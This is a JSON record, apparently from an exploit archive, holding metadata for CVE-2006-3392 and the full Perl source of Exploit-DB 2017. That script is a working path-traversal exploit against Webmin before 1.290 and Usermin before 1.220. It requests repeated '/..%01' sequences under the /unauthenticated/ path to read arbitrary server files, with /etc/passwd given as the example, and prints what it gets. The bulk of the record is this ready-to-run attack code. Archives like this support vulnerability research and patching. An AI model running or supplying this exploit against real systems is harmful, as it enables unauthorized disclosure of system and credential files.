{"exploit":{"id":"EDB-2017","name":"Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (2)","description":"Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (2)","cves":["CVE-2006-3392"],"author":"UmZ","published":"2006-07-15","platform":"multiple","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2017","path":"exploits/multiple/remote/2017.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2017.pl","vulnerabilities":[{"id":"CVE-2006-3392","state":"PUBLISHED","title":null,"titleSource":null,"description":"Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using \"..%01\" sequences, which bypass the removal of \"../\" sequences before bytes such as \"%01\" are removed from the filename. NOTE: This is a different issue than CVE-2006-3274.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-3392","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-3392"},"updatedAt":"2024-08-07T18:30:32.634Z","retrievedAt":"2026-11-26T12:02:02.954Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2017.png?v=2","url":"https://exploitbin.com/exploits/EDB-2017","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2017/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2017/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\t\tExploit for WEBMIN and USERMIN  less than 1.29x\n#\t\tARBITARY REMOTE FILE DISCLOSURE\n#\t\tWORKS FOR HTTP AND HTTPS (NOW)\n#\t\tThrusday 13th  July 2006\n#\t\tVulnerability Disclosure at securitydot.net\n#\t\tCoded by UmZ! umz32.dll _at_ gmail.com\n#\n#\n#\n#\t\tMake sure you have LWP before using this exploit.\n#\t\tUSE IT AT YOUR OWN RISK\n#\n#\t\tGREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru... etc........................\n#\t\tfor other.. like AHMED n FAIZ ... (GET A LIFE MAN).\n\n\n\n#\t\tRevised on Friday 14th July 2006\nuse LWP::Simple;\nuse LWP::UserAgent;\nmy $userag = LWP::UserAgent->new;\n\nif (@ARGV < 4) {\n                    print(\"Usage: $0 <url> <port> <filename> <target> \\n\");\n                    print(\"TARGETS are\\n \");\n\t\t    print(\"0  - > HTTP \\n\");\n\t\t    print(\" 1  - > HTTPS\\n\");\n\t\t    print(\"Define full path with file name \\n\");\n\t\t    print(\"Example: ./webmin.pl blah.com 10000 /etc/passwd\\n\");\n\t\t    exit(1);\n                    }\n\n                    ($target, $port,$filename, $tar) = @ARGV;\n\n\t\tprint(\"WEBMIN EXPLOIT !!!!! coded by UmZ!\\n\");\n\t\tprint(\"Comments and Suggestions are welcome at umz32.dll [at] gmail.com\\n\");\n\t\tprint(\"Vulnerability disclose at securitydot.net\\nI am just coding it in perl 'cuz I hate PHP!\\n\");\n\t\tprint(\"Attacking $target on port $port!\\n\");\n\t\tprint(\"FILENAME:  $filename\\n\");\n\n\n\t\t$temp=\"/..%01\" x 40;\n\n\t\tif ($tar == '0')\n\t\t\t{ my $url= \"http://\". $target. \":\" . $port .\"/unauthenticated/\".$temp . $filename;\n\t\t\t$content=get $url;\n\n\t\t\tprint(\"\\n FILE CONTENT STARTED\");\n\t\t\tprint(\"\\n -----------------------------------\\n\");\n\n\t\t\tprint(\"$content\");\n\t\t\tprint(\"\\n -------------------------------------\\n\");\n \t\t\t}\n\n\n\t\telsif ($tar == '1')\n\t\t\t {\n\t\t\tmy $url= \"https://\". $target. \":\" . $port .\"/unauthenticated/\".$temp . $filename;\n\t\t\tmy $req = HTTP::Request->new(GET => $url);\n\t\t\tmy $res = $userag->request($req);\n  \t\t\tif ($res->is_success) {\n   \t\t\t   \tprint(\"FILE CONTENT STARTED\\n\");\n\t\t\t\tprint(\"-------------------------------------------\\n\");\n\t\t\t\tprint $res->as_string;\n  \t\t\t\tprint(\"-------------------------------------------\\n\");\n\t\t\t\t\t\t}\n  \t\t\telse {\n      \t\t\tprint \"Failed: \", $res->status_line, \"\\n\";\n  \t\t\t     }\n\t\t\t}\n\n# milw0rm.com [2006-07-15]","sha256":"a5bf9901c1c431a6eb27bdfdfd5419fed024311184837c6a9ee9cedf94884e27","bytes":2206,"fetchedAt":"2026-11-26T13:10:17.585Z","encoding":"utf-8 (display only; download retains original bytes)"}